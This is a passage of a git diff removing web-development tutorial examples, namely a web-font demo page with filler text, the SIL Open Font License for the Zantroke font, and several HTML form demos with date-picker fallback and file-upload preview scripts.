-            Tacos actually microdosing, pour-over semiotics banjo chicharrones retro fanny pack portland everyday carry vinyl typewriter. Tacos PBR&amp;B pork
-            belly, everyday carry ennui pickled sriracha normcore hashtag polaroid single-origin coffee cold-pressed. PBR&amp;B tattooed trust fund twee,
-            leggings salvia iPhone photo booth health goth gastropub hammock.
-        </p>
-
-        <p>
-            Cray food truck brunch, XOXO +1 keffiyeh pickled chambray waistcoat ennui. Organic small batch paleo 8-bit. Intelligentsia umami wayfarers pickled,
-            asymmetrical kombucha letterpress kitsch leggings cold-pressed squid chartreuse put a bird on it. Listicle pickled man bun cornhole heirloom art
-            party.
-        </p>
-
-        <h2>It is the quaintest</h2>
-
-        <p>
-            Bespoke green juice aesthetic leggings DIY williamsburg selvage. Bespoke health goth tote bag, fingerstache venmo ennui thundercats butcher trust
-            fund cardigan hella. Wolf vinyl you probably haven't heard of them taxidermy, ugh quinoa neutra meditation asymmetrical mixtape church-key kitsch
-            man bun occupy. Knausgaard butcher raw denim ramps, offal seitan williamsburg venmo gastropub mlkshk cardigan chillwave chartreuse single-origin
-            coffee twee. Ethical asymmetrical banjo typewriter fap. Polaroid waistcoat tousled selfies four dollar toast locavore thundercats. Truffaut
-            post-ironic skateboard trust fund.
-        </p>
-
-        <h2>No, really...</h2>
-
-        <p>
-            Trust fund celiac farm-to-table PBR&amp;B. Brunch art party mumblecore, fingerstache cred echo park literally stumptown humblebrag chambray. Mlkshk
-            vinyl distillery humblebrag crucifix. Mustache craft beer put a bird on it, irony deep v poutine ramps williamsburg heirloom brooklyn.
-        </p>
-
-        <p>
-            Taxidermy tofu YOLO, sustainable etsy flexitarian art party stumptown portland. Ethical williamsburg retro paleo. Put a bird on it leggings yuccie
-            actually, skateboard jean shorts paleo lomo salvia plaid you probably haven't heard of them.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/web-font-start.css b/docs/content/learning-area/css/styling-text/web-fonts/web-font-start.css
deleted file mode 100644
index 0504194427..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/web-font-start.css
+++ /dev/null
@@ -1,29 +0,0 @@
-/* General setup */
-
-html {
-    font-size: 10px;
-    margin: 0;
-    font-family: sans-serif;
-}
-
-body {
-    width: 80%;
-    max-width: 800px;
-    margin: 0 auto;
-}
-
-/* Typography */
-
-h1 {
-    font-size: 3.2rem;
-}
-
-h2 {
-    font-size: 2.4rem;
-}
-
-p {
-    font-size: 1.4rem;
-    line-height: 1.6;
-    word-spacing: 0.6rem;
-}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/web-font-start.html b/docs/content/learning-area/css/styling-text/web-fonts/web-font-start.html
deleted file mode 100644
index 09ee18c3bd..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/web-font-start.html
+++ /dev/null
@@ -1,46 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Web font example</title>
-        <link href="web-font-start.css" rel="stylesheet" type="text/css" />
-    </head>
-
-    <body>
-        <h1>Hipster ipsum is the best</h1>
-
-        <p>
-            Tacos actually microdosing, pour-over semiotics banjo chicharrones retro fanny pack portland everyday carry vinyl typewriter. Tacos PBR&amp;B pork
-            belly, everyday carry ennui pickled sriracha normcore hashtag polaroid single-origin coffee cold-pressed. PBR&amp;B tattooed trust fund twee,
-            leggings salvia iPhone photo booth health goth gastropub hammock.
-        </p>
-
-        <p>
-            Cray food truck brunch, XOXO +1 keffiyeh pickled chambray waistcoat ennui. Organic small batch paleo 8-bit. Intelligentsia umami wayfarers pickled,
-            asymmetrical kombucha letterpress kitsch leggings cold-pressed squid chartreuse put a bird on it. Listicle pickled man bun cornhole heirloom art
-            party.
-        </p>
-
-        <h2>It is the quaintest</h2>
-
-        <p>
-            Bespoke green juice aesthetic leggings DIY williamsburg selvage. Bespoke health goth tote bag, fingerstache venmo ennui thundercats butcher trust
-            fund cardigan hella. Wolf vinyl you probably haven't heard of them taxidermy, ugh quinoa neutra meditation asymmetrical mixtape church-key kitsch
-            man bun occupy. Knausgaard butcher raw denim ramps, offal seitan williamsburg venmo gastropub mlkshk cardigan chillwave chartreuse single-origin
-            coffee twee. Ethical asymmetrical banjo typewriter fap. Polaroid waistcoat tousled selfies four dollar toast locavore thundercats. Truffaut
-            post-ironic skateboard trust fund.
-        </p>
-
-        <h2>No, really...</h2>
-
-        <p>
-            Trust fund celiac farm-to-table PBR&amp;B. Brunch art party mumblecore, fingerstache cred echo park literally stumptown humblebrag chambray. Mlkshk
-            vinyl distillery humblebrag crucifix. Mustache craft beer put a bird on it, irony deep v poutine ramps williamsburg heirloom brooklyn.
-        </p>
-
-        <p>
-            Taxidermy tofu YOLO, sustainable etsy flexitarian art party stumptown portland. Ethical williamsburg retro paleo. Put a bird on it leggings yuccie
-            actually, skateboard jean shorts paleo lomo salvia plaid you probably haven't heard of them.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/zantroke/SIL Open Font License.txt b/docs/content/learning-area/css/styling-text/web-fonts/zantroke/SIL Open Font License.txt
deleted file mode 100644
index 9b4a91ce9b..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/zantroke/SIL Open Font License.txt	
+++ /dev/null
@@ -1,44 +0,0 @@
-Copyright (c) 2011, gluk (gluksza@wp.pl),
-with Reserved Font Zantroke.
-
-This Font Software is licensed under the SIL Open Font License, Version 1.1.
-This license is copied below, and is also available with a FAQ at: http://scripts.sil.org/OFL
-
------------------------------------------------------------
-SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
------------------------------------------------------------
-
-PREAMBLE
-The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others.
-
-The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives.
-
-DEFINITIONS
-"Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation.
-
-"Reserved Font Name" refers to any names specified as such after the copyright statement(s).
-
-"Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s).
-
-"Modified Version" refers to any derivative made by adding to, deleting, or substituting -- in part or in whole -- any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment.
-
-"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
-
-PERMISSION & CONDITIONS
-Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
-
-1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself.
-
-2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
-
-3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users.
-
-4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission.
-
-5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software.
-
-TERMINATION
-This license becomes null and void if any of the above conditions are not met.
-
-DISCLAIMER
-THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/zantroke/Zantroke.otf b/docs/content/learning-area/css/styling-text/web-fonts/zantroke/Zantroke.otf
deleted file mode 100644
index 33ae3b09aa..0000000000
Binary files a/docs/content/learning-area/css/styling-text/web-fonts/zantroke/Zantroke.otf and /dev/null differ
diff --git a/docs/content/learning-area/html/forms/basic-input-examples/index.html b/docs/content/learning-area/html/forms/basic-input-examples/index.html
deleted file mode 100644
index 909f38c62b..0000000000
--- a/docs/content/learning-area/html/forms/basic-input-examples/index.html
+++ /dev/null
@@ -1,90 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <meta name="viewport" content="width=device-width" />
-        <title>Basic input types</title>
-        <style>
-            html,
-            input {
-                font-family: sans-serif;
-            }
-
-            body {
-                width: 90%;
-                max-width: 500px;
-                margin: 0 auto;
-            }
-
-            form {
-                margin-top: 20px;
-            }
-
-            div {
-                margin-bottom: 20px;
-                display: flex;
-                justify-content: space-between;
-                align-items: center;
-            }
-
-            label,
-            input,
-            button {
-                font-size: 14px;
-                line-height: 1.5;
-            }
-
-            label {
-                text-align: right;
-                width: 30%;
-                margin-right: 2%;
-            }
-
-            input {
-                flex: auto;
-            }
-
-            button {
-                width: 70%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="text">text input type: </label>
-                <input type="text" id="text" name="text" />
-            </div>
-            <div>
-                <label for="pwd">password input type: </label>
-                <input type="password" id="pwd" name="pwd" />
-            </div>
-            <div>
-                <label for="email">email input type: </label>
-                <input type="email" id="email" name="email" />
-            </div>
-            <div>
-                <label for="url">url input type: </label>
-                <input type="url" id="url" name="url" />
-            </div>
-            <div>
-                <label for="number">number input type: </label>
-                <input type="number" id="number" name="number" />
-            </div>
-            <div>
-                <label for="tel">tel input type: </label>
-                <input type="tel" id="tel" name="tel" />
-            </div>
-            <div>
-                <label for="search">search input type: </label>
-                <input type="search" id="search" name="search" />
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script></script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/color-example/index.html b/docs/content/learning-area/html/forms/color-example/index.html
deleted file mode 100644
index 0bc058225f..0000000000
--- a/docs/content/learning-area/html/forms/color-example/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <meta name="viewport" content="width=device-width" />
-        <title>&lt;input type="color"&gt; example</title>
-        <style>
-            html,
-            input {
-                font-family: sans-serif;
-            }
-
-            body {
-                width: 90%;
-                max-width: 500px;
-                margin: 0 auto;
-            }
-
-            form {
-                margin-top: 20px;
-            }
-
-            div {
-                margin-bottom: 20px;
-                display: flex;
-                justify-content: space-between;
-                align-items: center;
-            }
-
-            label,
-            input,
-            button {
-                font-size: 14px;
-                line-height: 1.5;
-            }
-
-            label {
-                text-align: right;
-                width: 30%;
-                margin-right: 2%;
-            }
-
-            input {
-                flex: auto;
-            }
-
-            button {
-                width: 70%;
-                margin: 0 auto;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="color">Pick a color: </label>
-                <input type="color" id="color" name="color" />
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script></script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/date-picker-fallback/index.html b/docs/content/learning-area/html/forms/date-picker-fallback/index.html
deleted file mode 100644
index e0c93618d2..0000000000
--- a/docs/content/learning-area/html/forms/date-picker-fallback/index.html
+++ /dev/null
@@ -1,186 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>date control with fallback</title>
-        <style>
-            input:invalid + span:after {
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div class="nativeDatePicker">
-                <label for="bday">Enter your birthday:</label>
-                <input type="date" id="bday" name="bday" />
-                <span class="validity"></span>
-            </div>
-            <p class="fallbackLabel">Enter your birthday:</p>
-            <div class="fallbackDatePicker">
-                <span>
-                    <label for="day">Day:</label>
-                    <select id="day" name="day"></select>
-                </span>
-                <span>
-                    <label for="month">Month:</label>
-                    <select id="month" name="month">
-                        <option selected>January</option>
-                        <option>February</option>
-                        <option>March</option>
-                        <option>April</option>
-                        <option>May</option>
-                        <option>June</option>
-                        <option>July</option>
-                        <option>August</option>
-                        <option>September</option>
-                        <option>October</option>
-                        <option>November</option>
-                        <option>December</option>
-                    </select>
-                </span>
-                <span>
-                    <label for="year">Year:</label>
-                    <select id="year" name="year"></select>
-                </span>
-            </div>
-        </form>
-
-        <script>
-            // define variables
-            var nativePicker = document.querySelector('.nativeDatePicker');
-            var fallbackPicker = document.querySelector('.fallbackDatePicker');
-            var fallbackLabel = document.querySelector('.fallbackLabel');
-
-            var yearSelect = document.querySelector('#year');
-            var monthSelect = document.querySelector('#month');
-            var daySelect = document.querySelector('#day');
-
-            // hide fallback initially
-            fallbackPicker.style.display = 'none';
-            fallbackLabel.style.display = 'none';
-
-            // test whether a new date input falls back to a text input or not
-            var test = document.createElement('input');
-
-            try {
-                test.type = 'date';
-            } catch (e) {
-                console.log(e.description);
-            }
-
-            // if it does, run the code inside the if() {} block
-            if (test.type === 'text') {
-                // hide the native picker and show the fallback
-                nativePicker.style.display = 'none';
-                fallbackPicker.style.display = 'block';
-                fallbackLabel.style.display = 'block';
-
-                // populate the days and years dynamically
-                // (the months are always the same, therefore hardcoded)
-                populateDays(monthSelect.value);
-                populateYears();
-            }
-
-            function populateDays(month) {
-                // delete the current set of <option> elements out of the
-                // day <select>, ready for the next set to be injected
-                while (daySelect.firstChild) {
-                    daySelect.removeChild(daySelect.firstChild);
-                }
-
-                // Create variable to hold new number of days to inject
-                var dayNum;
-
-                // 31 or 30 days?
-                if (
-                    (month === 'January') |
-                    (month === 'March') |
-                    (month === 'May') |
-                    (month === 'July') |
-                    (month === 'August') |
-                    (month === 'October') |
-                    (month === 'December')
-                ) {
-                    dayNum = 31;
-                } else if ((month === 'April') | (month === 'June') | (month === 'September') | (month === 'November')) {
-                    dayNum = 30;
-                } else {
-                    // If month is February, calculate whether it is a leap year or not
-                    var year = yearSelect.value;
-                    var isLeap = new Date(year, 1, 29).getMonth() == 1;
-                    isLeap ? (dayNum = 29) : (dayNum = 28);
-                }
-
-                // inject the right number of new <option> elements into the day <select>
-                for (i = 1; i <= dayNum; i++) {
-                    var option = document.createElement('option');
-                    option.textContent = i;
-                    daySelect.appendChild(option);
-                }
-
-                // if previous day has already been set, set daySelect's value
-                // to that day, to avoid the day jumping back to 1 when you
-                // change the year
-                if (previousDay) {
-                    daySelect.value = previousDay;
-
-                    // If the previous day was set to a high number, say 31, and then
-                    // you chose a month with less total days in it (e.g. February),
-                    // this part of the code ensures that the highest day available
-                    // is selected, rather than showing a blank daySelect
-                    if (daySelect.value === '') {
-                        daySelect.value = previousDay - 1;
-                    }
-
-                    if (daySelect.value === '') {
-                        daySelect.value = previousDay - 2;
-                    }
-
-                    if (daySelect.value === '') {
-                        daySelect.value = previousDay - 3;
-                    }
-                }
-            }
-
-            function populateYears() {
-                // get this year as a number
-                var date = new Date();
-                var year = date.getFullYear();
-
-                // Make this year, and the 100 years before it available in the year <select>
-                for (var i = 0; i <= 100; i++) {
-                    var option = document.createElement('option');
-                    option.textContent = year - i;
-                    yearSelect.appendChild(option);
-                }
-            }
-
-            // when the month or year <select> values are changed, rerun populateDays()
-            // in case the change affected the number of available days
-            yearSelect.onchange = function () {
-                populateDays(monthSelect.value);
-            };
-
-            monthSelect.onchange = function () {
-                populateDays(monthSelect.value);
-            };
-
-            //preserve day selection
-            var previousDay;
-
-            // update what day has been set to previously
-            // see end of populateDays() for usage
-            daySelect.onchange = function () {
-                previousDay = daySelect.value;
-            };
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/datetime-local-example/index.html b/docs/content/learning-area/html/forms/datetime-local-example/index.html
deleted file mode 100644
index 241753ac75..0000000000
--- a/docs/content/learning-area/html/forms/datetime-local-example/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>&lt;input type="datetime-local"&gt; example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                display: flex;
-                align-items: center;
-            }
-
-            label {
-                display: inline-block;
-                width: 300px;
-            }
-
-            input:invalid + span:after {
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="party">Choose your preferred party date and time (required, June 1st 8.30am to June 30th 4.30pm):</label>
-                <input
-                    id="party"
-                    type="datetime-local"
-                    name="partydate"
-                    min="2017-06-01T08:30"
-                    max="2017-06-30T16:30"
-                    pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}"
-                    required
-                />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <input type="submit" value="Book party!" />
-            </div>
-            <input type="hidden" id="timezone" name="timezone" value="-08:00" />
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/datetime-local-picker-fallback/index.html b/docs/content/learning-area/html/forms/datetime-local-picker-fallback/index.html
deleted file mode 100644
index 02de9f8005..0000000000
--- a/docs/content/learning-area/html/forms/datetime-local-picker-fallback/index.html
+++ /dev/null
@@ -1,224 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>datetime-local control with fallback</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-            }
-
-            input:invalid + span:after {
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div class="nativeDateTimePicker">
-                <label for="party">Choose a date and time for your party:</label>
-                <input type="datetime-local" id="party" name="bday" />
-                <span class="validity"></span>
-            </div>
-            <p class="fallbackLabel">Choose a date and time for your party:</p>
-            <div class="fallbackDateTimePicker">
-                <div>
-                    <span>
-                        <label for="day">Day:</label>
-                        <select id="day" name="day"></select>
-                    </span>
-                    <span>
-                        <label for="month">Month:</label>
-                        <select id="month" name="month">
-                            <option selected>January</option>
-                            <option>February</option>
-                            <option>March</option>
-                            <option>April</option>
-                            <option>May</option>
-                            <option>June</option>
-                            <option>July</option>
-                            <option>August</option>
-                            <option>September</option>
-                            <option>October</option>
-                            <option>November</option>
-                            <option>December</option>
-                        </select>
-                    </span>
-                    <span>
-                        <label for="year">Year:</label>
-                        <select id="year" name="year"></select>
-                    </span>
-                </div>
-                <div>
-                    <span>
-                        <label for="hour">Hour:</label>
-                        <select id="hour" name="hour"></select>
-                    </span>
-                    <span>
-                        <label for="minute">Minute:</label>
-                        <select id="minute" name="minute"></select>
-                    </span>
-                </div>
-            </div>
-        </form>
-
-        <script>
-            // define variables
-            var nativePicker = document.querySelector('.nativeDateTimePicker');
-            var fallbackPicker = document.querySelector('.fallbackDateTimePicker');
-            var fallbackLabel = document.querySelector('.fallbackLabel');
-
-            var yearSelect = document.querySelector('#year');
-            var monthSelect = document.querySelector('#month');
-            var daySelect = document.querySelector('#day');
-            var hourSelect = document.querySelector('#hour');
-            var minuteSelect = document.querySelector('#minute');
-
-            // hide fallback initially
-            fallbackPicker.style.display = 'none';
-            fallbackLabel.style.display = 'none';
-
-            // test whether a new date input falls back to a text input or not
-            var test = document.createElement('input');
-
-            try {
-                test.type = 'datetime-local';
-            } catch (e) {
-                console.log(e.description);
-            }
-
-            // if it does, run the code inside the if() {} block
-            if (test.type === 'text') {
-                // hide the native picker and show the fallback
-                nativePicker.style.display = 'none';
-                fallbackPicker.style.display = 'block';
-                fallbackLabel.style.display = 'block';
-
-                // populate the days and years dynamically
-                // (the months are always the same, therefore hardcoded)
-                populateDays(monthSelect.value);
-                populateYears();
-                populateHours();
-                populateMinutes();
-            }
-
-            function populateDays(month) {
-                // delete the current set of <option> elements out of the
-                // day <select>, ready for the next set to be injected
-                while (daySelect.firstChild) {
-                    daySelect.removeChild(daySelect.firstChild);
-                }
-
-                // Create variable to hold new number of days to inject
-                var dayNum;
-
-                // 31 or 30 days?
-                if (
-                    (month === 'January') |
-                    (month === 'March') |
-                    (month === 'May') |
-                    (month === 'July') |
-                    (month === 'August') |
-                    (month === 'October') |
-                    (month === 'December')
-                ) {
-                    dayNum = 31;
-                } else if ((month === 'April') | (month === 'June') | (month === 'September') | (month === 'November')) {
-                    dayNum = 30;
-                } else {
-                    // If month is February, calculate whether it is a leap year or not
-                    var year = yearSelect.value;
-                    var isLeap = new Date(year, 1, 29).getMonth() == 1;
-                    isLeap ? (dayNum = 29) : (dayNum = 28);
-                }
-
-                // inject the right number of new <option> elements into the day <select>
-                for (i = 1; i <= dayNum; i++) {
-                    var option = document.createElement('option');
-                    option.textContent = i;
-                    daySelect.appendChild(option);
-                }
-
-                // if previous day has already been set, set daySelect's value
-                // to that day, to avoid the day jumping back to 1 when you
-                // change the year
-                if (previousDay) {
-                    daySelect.value = previousDay;
-
-                    // If the previous day was set to a high number, say 31, and then
-                    // you chose a month with less total days in it (e.g. February),
-                    // this part of the code ensures that the highest day available
-                    // is selected, rather than showing a blank daySelect
-                    if (daySelect.value === '') {
-                        daySelect.value = previousDay - 1;
-                    }
-
-                    if (daySelect.value === '') {
-                        daySelect.value = previousDay - 2;
-                    }
-
-                    if (daySelect.value === '') {
-                        daySelect.value = previousDay - 3;
-                    }
-                }
-            }
-
-            function populateYears() {
-                // get this year as a number
-                var date = new Date();
-                var year = date.getFullYear();
-
-                // Make this year, and the 100 years before it available in the year <select>
-                for (var i = 0; i <= 100; i++) {
-                    var option = document.createElement('option');
-                    option.textContent = year - i;
-                    yearSelect.appendChild(option);
-                }
-            }
-
-            function populateHours() {
-                // populate the hours <select> with the 24 hours of the day
-                for (var i = 0; i <= 23; i++) {
-                    var option = document.createElement('option');
-                    option.textContent = i < 10 ? '0' + i : i;
-                    hourSelect.appendChild(option);
-                }
-            }
-
-            function populateMinutes() {
-                // populate the minutes <select> with the 60 hours of each minute
-                for (var i = 0; i <= 59; i++) {
-                    var option = document.createElement('option');
-                    option.textContent = i < 10 ? '0' + i : i;
-                    minuteSelect.appendChild(option);
-                }
-            }
-
-            // when the month or year <select> values are changed, rerun populateDays()
-            // in case the change affected the number of available days
-            yearSelect.onchange = function () {
-                populateDays(monthSelect.value);
-            };
-
-            monthSelect.onchange = function () {
-                populateDays(monthSelect.value);
-            };
-
-            //preserve day selection
-            var previousDay;
-
-            // update what day has been set to previously
-            // see end of populateDays() for usage
-            daySelect.onchange = function () {
-                previousDay = daySelect.value;
-            };
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/editable-input-example/editable_input.html b/docs/content/learning-area/html/forms/editable-input-example/editable_input.html
deleted file mode 100644
index 6add2eca7a..0000000000
--- a/docs/content/learning-area/html/forms/editable-input-example/editable_input.html
+++ /dev/null
@@ -1,77 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Editable form &lt;input&gt; example</title>
-        <style>
-            textarea {
-                height: 80px;
-                background-color: #f4f7f8;
-                border: none;
-                border-left: 6px solid #558abb;
-                color: #4d4e53;
-                width: 90%;
-                max-width: 700px;
-                padding: 10px 10px 0px;
-            }
-
-            .playable-buttons {
-                text-align: right;
-                width: 90%;
-                max-width: 700px;
-                padding: 5px 10px 5px 26px;
-            }
-
-            section {
-                width: 90%;
-                max-width: 700px;
-                border: 1px solid #4d4e53;
-                border-radius: 2px;
-                padding: 10px 14px 10px 10px;
-                margin-bottom: 10px;
-            }
-
-            section input {
-                display: block;
-                margin: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <section></section>
-
-        <textarea id="code" class="playable-code">
-<input id="input1" type="text">
-<input id="input2" type="text">
-    </textarea
-        >
-
-        <div class="playable-buttons">
-            <input id="reset" type="button" value="Reset" />
-        </div>
-    </body>
-
-    <script>
-        var section = document.querySelector('section');
-        var textarea = document.getElementById('code');
-        var reset = document.getElementById('reset');
-        var edit = document.getElementById('edit');
-        var code = textarea.value;
-
-        function fillSection() {
-            while (section.firstChild) {
-                section.removeChild(section.firstChild);
-            }
-            section.innerHTML = textarea.value;
-        }
-
-        reset.addEventListener('click', function () {
-            textarea.value = code;
-            fillSection();
-        });
-
-        textarea.addEventListener('input', fillSection);
-        window.addEventListener('load', fillSection);
-    </script>
-</html>
diff --git a/docs/content/learning-area/html/forms/file-examples/file-example.html b/docs/content/learning-area/html/forms/file-examples/file-example.html
deleted file mode 100644
index 338fffdfce..0000000000
--- a/docs/content/learning-area/html/forms/file-examples/file-example.html
+++ /dev/null
@@ -1,151 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <title>Complete file example</title>
-        <style>
-            html {
-                font-family: sans-serif;
-            }
-
-            form {
-                width: 600px;
-                background: #ccc;
-                margin: 0 auto;
-                padding: 20px;
-                border: 1px solid black;
-            }
-
-            form ol {
-                padding-left: 0;
-            }
-
-            form li,
-            div > p {
-                background: #eee;
-                display: flex;
-                justify-content: space-between;
-                margin-bottom: 10px;
-                list-style-type: none;
-                border: 1px solid black;
-            }
-
-            form img {
-                height: 64px;
-                order: 1;
-            }
-
-            form p {
-                line-height: 32px;
-                padding-left: 10px;
-            }
-
-            form label,
-            form button {
-                background-color: #7f9ccb;
-                padding: 5px 10px;
-                border-radius: 5px;
-                border: 1px ridge black;
-                font-size: 0.8rem;
-                height: auto;
-            }
-
-            form label:hover,
-            form button:hover {
-                background-color: #2d5ba3;
-                color: white;
-            }
-
-            form label:active,
-            form button:active {
-                background-color: #0d3f8f;
-                color: white;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="image_uploads">Choose images to upload (PNG, JPG)</label>
-                <input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple />
-            </div>
-            <div class="preview">
-                <p>No files currently selected for upload</p>
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script>
-            const input = document.querySelector('input');
-            const preview = document.querySelector('.preview');
-
-            input.style.opacity = 0;
-
-            input.addEventListener('change', updateImageDisplay);
-
-            function updateImageDisplay() {
-                while (preview.firstChild) {
-                    preview.removeChild(preview.firstChild);
-                }
-
-                const curFiles = input.files;
-                if (curFiles.length === 0) {
-                    const para = document.createElement('p');
-                    para.textContent = 'No files currently selected for upload';
-                    preview.appendChild(para);
-                } else {
-                    const list = document.createElement('ol');
-                    preview.appendChild(list);
-
-                    for (const file of curFiles) {
-                        const listItem = document.createElement('li');
-                        const para = document.createElement('p');
-
-                        if (validFileType(file)) {
-                            para.textContent = `File name ${file.name}, file size ${returnFileSize(file.size)}.`;
-                            const image = document.createElement('img');
-                            image.src = URL.createObjectURL(file);
-
-                            listItem.appendChild(image);
-                            listItem.appendChild(para);
-                        } else {
-                            para.textContent = `File name ${file.name}: Not a valid file type. Update your selection.`;
-                            listItem.appendChild(para);
-                        }
-
-                        list.appendChild(listItem);
-                    }
-                }
-            }
-
-            // https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image_types
-            const fileTypes = [
-                'image/apng',
-                'image/bmp',
-                'image/gif',
-                'image/jpeg',
-                'image/pjpeg',
-                'image/png',
-                'image/svg+xml',
-                'image/tiff',
-                'image/webp',
-                `image/x-icon`
-            ];
-
-            function validFileType(file) {
-                return fileTypes.includes(file.type);
-            }
-
-            function returnFileSize(number) {
-                if (number < 1024) {
-                    return number + 'bytes';
-                } else if (number > 1024 && number < 1048576) {
-                    return (number / 1024).toFixed(1) + 'KB';
-                } else if (number > 1048576) {
-                    return (number / 1048576).toFixed(1) + 'MB';
-                }
-            }
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/file-examples/file-with-accept.html b/docs/content/learning-area/html/forms/file-examples/file-with-accept.html
deleted file mode 100644
index 62c553a4b5..0000000000
--- a/docs/content/learning-area/html/forms/file-examples/file-with-accept.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <title>File upload example with accept</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="profile_pic">Choose file to upload</label>
-                <input type="file" id="profile_pic" name="profile_pic" accept=".jpg, .jpeg, .png" />
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script>
-            var test = document.querySelector('input');
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/file-examples/simple-file.html b/docs/content/learning-area/html/forms/file-examples/simple-file.html
deleted file mode 100644
index 173ba2f5c0..0000000000
--- a/docs/content/learning-area/html/forms/file-examples/simple-file.html
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <title>File upload example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-            }
